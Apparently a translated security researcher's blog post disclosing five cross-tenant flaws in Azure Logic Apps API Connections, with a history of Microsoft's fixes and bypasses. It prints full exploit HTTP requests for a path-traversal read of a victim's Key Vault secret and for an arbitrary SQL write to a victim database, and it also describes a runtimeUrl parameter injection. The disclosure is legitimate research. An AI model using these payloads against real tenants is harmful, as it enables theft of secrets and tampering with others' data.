Azure Logic Apps API Connections 內部設計缺陷暴露跨租戶攻擊路徑
Azure's Weakest Link – Five Full Cross-Tenant Compromises
本文揭示 Azure Logic Apps API Connections 內部設計缺陷,說明跨租戶攻擊路徑與修補進展,對安全研究者與雲端運維人員具參考價值。
揭示 Azure Logic Apps API Connections 內部設計缺陷,說明跨租戶攻擊路徑與修補進展,對安全研究者與雲端運維人員具參考價值。
在我之前的部落格文章中,Azure 的最弱環節? 和 Azure 的最弱環節 - 完整跨租戶攻擊,我概述了 Azure API Connections(Azure Logic Apps 的一部分)背後極度不安全的架構,以及利用這些固有缺陷實現完整跨租戶攻擊的案例。現在我又回來,揭示這個系統中的更多漏洞,每一個都為攻擊者提供相同的原始工具。總計,這些漏洞為我帶來了 20 萬美元的收益。
我也在 2026 年 Blue Hat Asia 會議上詳細說明瞭此事,錄影上線後,我會在此處加入連結。
TL;DR
API Connections 允許任何人完全掌控全球任何其他連線,進而完全存取其後端。這包括對 Key Vault、Azure SQL 資料庫的跨租戶攻擊,以及任何其他外部連結服務,例如 Jira 或 Salesforce。阻止惡意利用的唯一因素實際上只是附加在各系統上的輸入驗證層,但正如你將看到的,捕捉所有邊緣案例實在很困難。
架構
如果你還沒閱讀本系列的前幾篇,我建議先參考 Azure 的最弱環節? - 第一部分 與 Azure 的最弱環節 - 完整跨租戶攻擊,但如果你不在乎,我會先帶你瀏覽架構中最重要的部分。
從 Microsoft 的檔案 我們看到一張相當有趣的圖示,說明 API Connection 架構的構造方式。

這基本上說明瞭理解系統運作所需的一切,向建立此圖的人致敬!
其運作方式如下
- 一個邏輯應用程式(左下角的圖示)會查詢共用的 Azure API Management 例項
- API Management 例項首先檢查聯結器型別的 swagger(OpenAPI)定義,並確認其為有效動作
- 發生一種類似鑰匙交換的過程,將輸入的 token(或鑰匙)交換為後端服務所設定的 token
- API Management 例項以此新 token 完成對後端例項的呼叫
由此可推斷,若我們能欺騙 API Management 例項在非自有連線上操作,我們就能有效利用受害者連線的已設定 token 存取其後端服務。
實際上此服務可以是任何東西。正如你在 此處 所見,後端服務列表實際上是無限的,且包含多個 Azure 服務。
儘管圖示很棒,但有一個關鍵遺漏,我們已在本系列第二篇中充分利用。透過使用 ARM REST API DynamicInvoke 或 /extensions/proxy/ 端點,我們可以直接透過 ARM 查詢 APIM 服務。我已自行更新圖示以配合此情況。

考量到這一點,以及作為資源管理員的 ARM 基本上擁有對一切的完整存取權,我們的利用路徑變得明朗。我們必須欺騙呼叫服務去查詢非自有連線,從而取得對後端服務的完全控制。
注意:當然,設定這些連線的人可以將他們的存取權杖或金鑰範圍限定,讓 API 連線在後端具有最小許可權。然而,我猜這很少發生。在 OAuth 連線的情況下,肯定永遠是最初建立連線的人的權杖。至於 API 金鑰的情況,誰會足夠關心去最小化範圍?至少 Microsoft 沒有。
初次利用
我在 API Connections 以及整個 Azure 中首次完成的跨租戶利用已在第二部分描述。作為回顧,以下是一個使用我自己的連線 DynamicInvoke 端點來讀取另一租戶 Key Vault 的範例有效負載。
POST /subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/custom2/DynamicInvoke?api-version=2018-07-01-preview HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Type: application/json
Content-Length: 147
{
"request":{
"method":"get",
"path":"path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/fd8d0f4f4069495991ccb4974f96a1ed/secrets/victimsecret/value"
},
}
HTTP/2 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 1329
{
"response": {
"statusCode": "OK",
"body": {
"value": "dontreadme",
"name": "victimsecret",
"version": "7914d45aa60342809fb8cc12dc68b10e",
"contentType": null,
"isEnabled": true,
"createdTime": "2025-04-04T05:38:26Z",
"lastUpdatedTime": "2025-04-04T05:38:26Z",
"validityStartTime": null,
"validityEndTime": null
},
"headers": {
<Headers>
}
}
}
如你所見,這是一個相當明顯的路徑遍歷漏洞。這意味著我們已經假設的情況:當請求從 ARM 發往 APIM 例項時,該請求擁有所有連線的許可權,無論其操作的是哪一個。
進一步利用
在我報告此漏洞後的幾週,該漏洞被標記為已修復,當我再次嘗試時,收到以下錯誤訊息:

現在,我考慮這是否足夠修復。它似乎限制了允許的路徑,而非底層的權杖問題,因此我猜可能還有繞過的方法。
關於 ARM API 的一個有趣小事是,在某些情況下,它可能並不像你想像的那麼黑盒。相關程式碼有時會出現在資源型別本身中。我不確定這段程式碼是否真的在這些機器上執行,或只是作為一個 artefact 包含,但它是一座充滿有趣資訊的金礦。因此,我建立了一個 Standard Logic App,提供完全專用的主機,SSH 進入,並提取了程式碼。驚訝地發現,我找到了什麼:

你看見他們實作的修復嗎?
更有趣的是,我在這裡發現了實際上並未尋找的東西。搜尋實際的 DynamicInvoke 程式碼時,我看到的並非只有這一個公開函式,而是四個:

這些函式完全未被檔案化,我在任何地方都找不到它們的參考。然而,它們可達且位於相同路徑上。因此,例如,要呼叫此處的 DynamicList,只需將 URI 中的 dynamicInvoke 改為 DynamicList。
知道他們實作的即時黑名單修復僅適用於 DynamicInvoke,我假設如果功能相同,這些也會以同樣方式易受攻擊。這裡不會太多說明所需引數與回傳值,利用方法實際上相同,雖然有效負載更複雜。對於 DynamicList,你需要單獨指定每個路徑引數並進行一些工作以取得結果,但相同邏輯仍適用。例如,要透過受害者的連線在其 SQL 伺服器上進行跨租戶寫入,像這樣的有效負載可行:
POST /subscriptions/162fc6db-03cd-4fe8-ab44-dc0a947e74af/resourceGroups/api-connection/providers/Microsoft.Web/connections/custom_validator/DynamicList?api-version=2018-07-01-preview&_=1765372176638 HTTP/2
Host: management.azure.com
Authorization: Bearer <token>
Content-Length: 524
Content-Type: application/json
{
"dynamicInvocationDefinition": {
"operationID": "nine",
"parameters": {
"one": {
"value": ".."
},
"two": {
"value": ".."
},
"three": {
"value": "sql"
},
"four": {
"value": "88d28f5ff7b642cfb91df184938d074c"
},
"five": {
"value": "v2"
},
"six": {
"value": "datasets"
},
"seven": {
"value": "victimservice.database.windows.net,VictimDatabase"
},
"eigth": {
"value": "query"
},
"nine": {
"value": "sql"
},
"query": {
"value": {
"query": "Insert INTO MySecrets VALUES ('NewEvilSecrets', 3)"
}
}
},
"ItemsPath": "ResultSets/Table1",
"ItemValuePath": "secrets",
"ItemTitlePath": "value"
}
}
你可以很容易看到,這裡的第一個引數執行路徑遍歷,然後在資料庫上執行任意 SQL 查詢。
我先只報告了 DynamicList 的案例,希望他們會對 DynamicInvoke 進行相似的修復,並讓我能報告另外兩個。遺憾的是,他們的修復僅是阻擋所有這些端點。看起來沒有其他緩解措施,因此如果這些端點再次可存取,我會假設它們仍然易受攻擊。
進一步利用
在這些動態呼叫中調整路徑似乎已經結束:我無法突破 DynamicInvoke 的路徑限制,其他所有端點也被封鎖。我需要的是另一種進入方式。當我有一天想睡覺時,我意識到我忽略了使用 Logic Apps 本身。我發現事實上 Consumption 與 Standard Logic Apps 的連線建立流程存在顯著差異。最明顯的差別是,Consumption Logic Apps(工作流程與其他多個共存)會建立 Version 1 連線,而專用主機的 Standard Logic Apps 則建立 Version 2 連線。以下圖表更清楚地說明瞭這兩個流程之間更細微的差別:


你看得到差別嗎?顯而易見,說明清楚後,重點就很明顯。使用 Standard Logic App 時,在我們建立資源並加入所需的後端伺服器認證後,我們會授權該特定 Logic App 以其受管身分存取。相反地,若使用 Consumption Logic App,則沒有任何此類身份可授權,因為我們無法控制它。
我意識到這必定意味著每個 Consumption Logic App 都隱式存取 每一個 Version 1 API 連線;唯一阻止我們利用這點的應該是某種輸入驗證。
Logic App 工作流程的傳統檢視在輸入上相當受限,但同時有 API 端點與 GUI 中的 Code 檢視,讓我們可以稍微多玩弄輸入。

這讓我們能更詳細地檢視輸入、編輯甚至新增。將引用的聯結器改為受害者的連線的明顯技巧失敗,因為執行階段會進行廣泛驗證以確保你擁有該連線。雖然我們有程式碼庫,但可以試著找出所有有效引數。對我來說,搜尋並不費力就發現了 host.api.RuntimeUrl 引數。
我無法完全理解為什麼會包含此引數,或為何至今仍被接受,但它的運作方式符合預期。經過對 host.connection 中引用的連線進行一系列驗證後,你可以指定它使用完全不同的內容,而非該連線內建的 runtimeUrl。只要主機以 azure-apihub.net 結尾,它也會包含所需的 Authorization 標頭。

那麼這個工作流程執行時會發生什麼?

細心的讀者可能會注意到,在利用中使用的 runtimeUrl 不只是 connectionId。這是因為 URI 中會加入一些額外元素,但對我們並無影響;利用仍能正常運作。
天降甘露
我當然再次向微軟報告此問題,他們花了一段時間開發修正。最終修正推出後,利用會回傳錯誤訊息:
The host API runtime URL is not valid for the API connection '/subscriptions/8e3ce52f-d45b-4347-8705-65892507465e/resourceGroups/token-storer/providers/Microsoft.Web/connections/keyvault-1'. The runtime URL path must match the expected API endpoint 'https://logic-apis-norwayeast.azure-apihub.net/apim/keyvault/cbfb0f4313144117a7440368902bb871?' for the referenced connection. Either omit the 'host.api' input property, or correct the runtime URL to match the API associated with the connection.
除了訊息過長之外,這看起來是一個相當合適的修正。執行階段的 URL 必須完全符合預期;否則就失敗。僅僅將引數完全移除已相當合理。除非,它在錯誤的時機檢查該值:

再次運作,結果相同。這裡發生的情況是,驗證在路徑正規化之前進行,因此執行階段認為 URI 指向我的引用連線,但 APIM 例項卻以不同方式看待。
就這樣,我又發現了一個嚴重漏洞。
樂趣並未止於此。當 Microsoft 成功拼湊出修復此路徑穿越漏洞的方案時,發生了一件驚人的事。原本的 RuntimeUrl 路徑不再被驗證,結果你又能再次執行該攻擊。我本想附上一些圖片,但它們與上面相同,你可以自行想像。
報告與獎勵
總體而言,API Connections 為我帶來了五個 Azure 的關鍵提權漏洞,這或許超出預期。所有在此報告的漏洞在我提交報告後均在合理時間內得到修復,儘管在過程中與 MSRC 有些分歧,但總體而言,我對結果相當滿意。